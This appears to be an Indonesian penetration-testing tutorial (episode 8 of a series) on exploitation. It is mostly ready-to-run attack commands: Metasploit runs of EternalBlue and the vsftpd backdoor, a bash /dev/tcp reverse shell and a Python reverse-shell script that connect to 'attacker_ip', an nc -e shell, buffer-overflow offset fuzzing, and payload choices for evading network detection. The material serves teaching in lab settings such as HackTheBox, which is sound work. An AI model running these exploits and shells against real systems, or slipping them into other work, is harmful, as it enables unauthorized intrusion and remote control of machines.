Mempelajari teknik exploitation menggunakan Metasploit Framework dan pendekatan manual — membuktikan kerentanan melalui exploit langsung, shell access, dan memahami buffer overflow basics untuk pembuktian konsep serangan

Setelah di episode 7 kita mempelajari web pentesting OWASP Top 10 — SQL injection, XSS, SSRF, IDOR — pada episode ini kita masuk ke fase kritis: exploitation. Ini adalah fase di mana kalian membuktikan bahwa kerentanan yang ditemukan benar-benar bisa dieksploitasi untuk mendapatkan akses.
Exploitation adalah jembatan dari "vulnerability report" menjadi "proof of concept" yang meyakinkan klien. Tanpa exploitation yang sah, laporan kalian hanya berisi teori. Dengan exploitation, kalian menunjukkan dampak nyata dari setiap kerentanan.
Metasploit adalah framework exploitation paling komprehensif di dunia. Ia menyediakan exploit, payloads, dan auxiliary modules untuk ribuan kerentanan.
Metasploit Components
======================
1. Exploits : kode yang mengeksploitasi kerentanan
2. Payloads : kode yang dijalankan setelah exploit berhasil
3. Auxiliary : tool untuk scanning, fuzzing, dan reconnaissance
4. Post : module untuk post-exploitation
5. Encoders : mengubah payload untuk bypass AV
6. Nops : NOP sled untuk buffer overflow# Start Metasploit
msfconsole
# Search exploit
search eternalblue
search ms17-010
# Use exploit
use exploit/windows/smb/ms17_010_eternalblue
# Set options
show options
set RHOSTS target.com
set LHOST attacker_ip
set PAYLOAD windows/x64/shell/reverse_tcp
# Run
exploit# 1. Search
search vsftpd
# 2. Use exploit
use exploit/unix/ftp/vsftpd_234_backdoor
# 3. Set target
set RHOSTS target.com
set RPORT 21
# 4. Exploit
exploit
# 5. Verify shell
id
whoami
uname -aTidak semua kerentanan punya module Metasploit. Kadang kalian harus mengeksploitasi secara manual.
# Di attacker
nc -lvnp 4444
# Di target (via command injection atau exploit)
bash -i >& /dev/tcp/attacker_ip/4444 0>&1import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("attacker_ip",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])# Listener di attacker
nc -lvnp 4444
# Connect dari target (bind shell)
nc -e /bin/sh attacker_ip 4444Buffer overflow adalah kerentanan yang terjadi ketika program menulis data melebihi ukuran buffer yang dialokasikan, sehingga menimpa data lain di memory.
Stack Layout
============
[Buffer][EBP][EIP/Return Address][...]
↓ ↓ ↓
Input Frame Control flow
pointerKetika buffer overflow, attacker bisa menimpa EIP (Extended Instruction Pointer) dengan alamat payload shellcode, sehingga alih-alih return ke fungsi normal, program melompat ke kode berbahaya.
# Fuzzing: cari panjang buffer yang crash
./vulnerable_program $(python -c 'print "A"*100')
./vulnerable_program $(python -c 'print "A"*200')
./vulnerable_program $(python -c 'print "A"*300')
# Ketika crash terjadi pada offset tertentu, hitung EIP offset
# Gunakan pattern unik:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
# Cari offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 300 -q 0x41366241Note
Buffer overflow membutuhkan pemahaman mendalam tentang memory management dan assembly. Topik ini luas — untuk starting point, coba lab di TryHackMe "Buffer Overflow Prep" atau HackTheBox machines dengan stack-based overflow.
| Tipe | Deskripsi | Kapan dipakai |
|---|---|---|
shell_reverse_tcp | Reverse shell sederhana | Quick access |
meterpreter/reverse_tcp | Full-featured session | Post-exploitation |
shell_bind_tcp | Bind shell (target listen) | Firewall strict |
windows/x64/meterpreter/reverse_https | Encrypted C2 | Bypass network detection |
Jika kalian menggunakan HackTheBox:
# 1. Pilih machine dengan CVE yang bisa dieksploitasi
# 2. Cari exploit
searchsploit <service> <version>
# 3. Exploit dengan Metasploit
msfconsole -q
use exploit/...
set RHOSTS <machine_ip>
exploit
# 4. Verifikasi akses
id
cat /etc/passwdInti yang harus dibawa pulang:
Di episode 9 selanjutnya, kita akan mempelajari post-exploitation & privilege escalation — setelah mendapatkan akses awal, bagaimana cara meningkatkan hak akses, establish persistence, dan melakukan pivoting ke sistem lain.